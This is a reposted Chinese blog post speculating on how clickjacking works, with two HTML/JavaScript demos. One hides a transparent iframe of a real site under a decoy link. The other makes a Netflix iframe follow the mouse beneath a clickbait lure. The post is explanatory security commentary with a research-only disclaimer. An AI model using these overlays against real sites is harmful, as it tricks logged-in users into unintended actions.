Clickjacking猜想 's

admin 2017年4月26日20:24:44评论228 views字数 2329阅读7分45秒阅读模式
摘要

作者:Monyer最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:

在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最 后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe 中的相关操作。用代码的表现如下:

作者:Monyer

Clickjacking猜想  's

最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:

在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最 后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe 中的相关操作。用代码的表现如下:

<a href="http://www.google.com/" style="position:absolute; left:265px; top:145px ;z-index:1">monyer</a> <iframe src="http://www.baidu.com/" scrolling="no" frameborder="0" width="100%" height="300px" style="position:absolute;left:0px;top:0px;z-index:2;opacity:.1;filter: alpha(opacity=10); -moz-opacity: 0.1;"></iframe>

这个也就是所谓的不需要任何脚本的,所以禁用脚本没用,但当然如果你不禁用脚本,攻击起来可能更方便些:

用一浮动层载iframe,然后这个iframe的尺寸绝对小并通过滚动条的控制来保留必要连接,然后做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方,这样用户的任何点击都会导致攻击的产生。

demo的代码如下:

<a style="position:absolute; left:850; top:620" href="http://cnn.com">click here for lindsay lohan nudes</a>  <SCRIPT type="text/javascript"> if (document.getElementById || document.all) document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:100px;height:100px"><IFRAME id="ifra" SRC="http://www.netflix.com/MemberHome" scrolling=no frameborder=0 width="100" height="100" style="opacity:.1;filter: alpha(opacity=1); -moz-opacity: 0.1;"></iframe></div>')  function gettrailobj(){ if (document.getElementById) return document.getElementById("trailimageid").style else if (document.all) return document.all.trailimagid.style }  function truebody(){ return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body }  function followmouse(e){ var xcoord= 0 var ycoord= 0 if (typeof e != "undefined"){ xcoord+=e.pageX - 50 ycoord+=e.pageY - 50 } else if (typeof window.event !="undefined"){ xcoord+=truebody().scrollLeft+event.clientX ycoord+=truebody().scrollTop+event.clientY } var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15 var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight) if (xcoord+50+3>docwidth || ycoord+50> docheight) gettrailobj().display="none" else gettrailobj().display="" gettrailobj().left=xcoord+"px" gettrailobj().top=ycoord+"px" }  document.onmousemove=followmouse </SCRIPT>

不过这个demo写得显然不够完美,有很多的错误。

但不知道Clickjacking事实是否如此,以上仅仅是Monyer个人的一点猜想。但即便不是如此,那么这种攻击方式也是很可行了,而且对于 防御xsrf而使用的token可以完美地绕过,因为就是正常的点击嘛。但跟xsrf不同的是,目标网站几乎是无法进行防御阻止的。(maybe no iframe)

Monyer !

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月26日20:24:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Clickjacking猜想 'shttp://cn-sec.com/archives/45622.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息